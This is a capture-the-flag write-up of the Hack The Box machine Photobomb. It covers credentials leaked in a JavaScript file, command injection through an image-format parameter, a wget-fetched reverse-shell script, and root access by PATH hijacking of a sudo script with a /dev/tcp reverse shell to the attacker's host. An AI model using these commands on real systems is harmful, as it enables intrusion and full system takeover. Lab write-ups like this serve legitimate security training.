Photobomb

This one is the latest available machine from Hack The Box. It’s an easy and very straight forward machine. Let’s start with the hacking, shall we?

First, the usual initial scan, run nmap on all TCP ports to look for running services.

nmap -p 1-65535 -T4 -A -v 10.10.11.182

The scan revealed that it’s a Linux machine, and that there are only two ports open. An HTTP Server running on port 80, and an OpenSSH on port 22. Nothing strange here. The HTTP server redirects to photobomb.htb, so let’s add that domain to the hosts file and link it with the address of the machine.

Now it’s time to explore. Open a browser and go to photobomb.htb. Let’s see what is in there.

It seems to be a landing page with nothing more than one link. The link leads to photobomb.htb/printer, that requires credentials to access. A dead end.

Next step is looking to all the pages and files accessed when we opened the site. You can do this from the «Developer Tools» of your browser, but I prefer to check the intercepted traffic in Burp, as we are going to use burp later anyways.

Huh, how strange. This site seems pretty static, but it has a js file in it. That script seems to be a very insecure way to store credentials for the tech support team, as we can see those credentials in plain text.

Do not lose time and let’s head directly to the link with these credentials. It seems to be a small app to download images to print, with two available file formats, and six available sizes. Let’s download a few of them and analyze the traffic.

As you can see, there is only one interaction: POST Request with three parameters => Desired Image as response.

Let’s probe those parameters for interesting responses. Before going to fuzzing lists or automated scrips, I always like to try common characters that may induce errors: Nullbytes, Backslashes, Quote Marks, etc.

Bingo! Our little friend Nullbyte (%00) gave us verbose error logs on two of the parameters, photo and filetype. Now we know that the server is running some sort of ruby framework, and even let us took a sneak peek at the source code of the app.

Let’s analyze the code. In the right side, there is a very interesting call to the «system» function, that is feeded with a string generated with user input.

The string is generated using the three parameters of the post request. We can try to use one of those to inject our own code. Thankfully, on the other error page, we can view some of the validations of our input, so it will be easier to elude restrictions.

Let’s analyze them in order. First, the photo goes through two validations, and send an error if does not pass. The first validation is a Regex to check the format of the name. Certainly, there is a workaround to it, but the second validation checks if the file exists, it be really hard to circumvent those two validations together, if it’s possible at all.

Second, a parameter that really captured my attention, the filetype. The validation is a RegEx checking if the string is png or jpg, but is only matching only the begining of the string. So we can write anything afther the extension. And this particular string is inserted at the end of the command, so it’d be pretty easy to inject a command there. Great news!

Finally, the dimensions. I’m not seeing any validation, so it looks very promising. But it’s on the middle of the string, so it may be a little annoying to use it correctly, so let save it as a second option.

With this in mind, set ncat to listen for incoming connections, and let’s try to inject some reverse-shell payloads.

ncat -lvnp 4444

My favorite site to craft reverse-shell payloads, it’s Reverse Shell Generator, as it came with many options to fine-tune your payload.

After testing a few payloads, I wasn’t able to open a reverse Shell. Maybe I writed something wrong, or I wasn’t using the right payloads… But the responses were pretty slow, so something must be happening there! Let’s open a local HTTP server and test if the injection is working with a curl command.

python -m http.server 80

And now we inject the payload and… it worked!

Now that we know that the injection is working, and that we can establish connection with our own HTTP server, let’s change the approach.

Let’s save our reverse-shell code into a .sh script, and serve it to the machine. We need to inject three commands to do this: Serve the file, give it execution permissions, execute the file.

wget http://10.10.14.2/payload.sh
chmod +x payload.sh
./payload.sh

Let’s send all try commands in a single request, separating the with a colon… and… it worked! we have shell access!

Let’s check the current user home folder to get the first flag.

Now is time to root. There are many ways to try to escalate privileges, so having a script to quickly check for common attack vectors is pretty handy. I generally serve the Linux Smart Enumeration script trough an HTTP server and use it to quickly enumerate. However, in this case, it may be quicker to just do some manual enumeration. With just quickl look at the sudo -l command, we can see tha we have sudo permition over one script, and that we can run that script without Password, and setting up our own environment.

We can read the content of the cleanup script to look for a command to supplant… or, we can just execute it with an empty PATH to quickly get a list of candidates.

Let’s use the /tmp folder for this. We can use the same payload to generate a reverse shell, but using another port. In my case, I choose 8080.

cd /tmp
echo "echo "/bin/bash -i >& /dev/tcp/10.10.14.2/8080 0>&1" > [
chmod +x [

We have a new file called [, with execution rights, inside the /tmp folder. Now it’s just matter of listen for the shell using ncat on port 8080, and execute the cleanup script with /tmp as the first folder in the PATH.

sudo PATH=/tmp:$PATH /opt/cleanup.sh

Bingo! We rooted the system. Let’s go to the root folder to get the last flag.

And the machine is finished. Overall, it was a pretty easy and straightforward machine, a fun experience to have.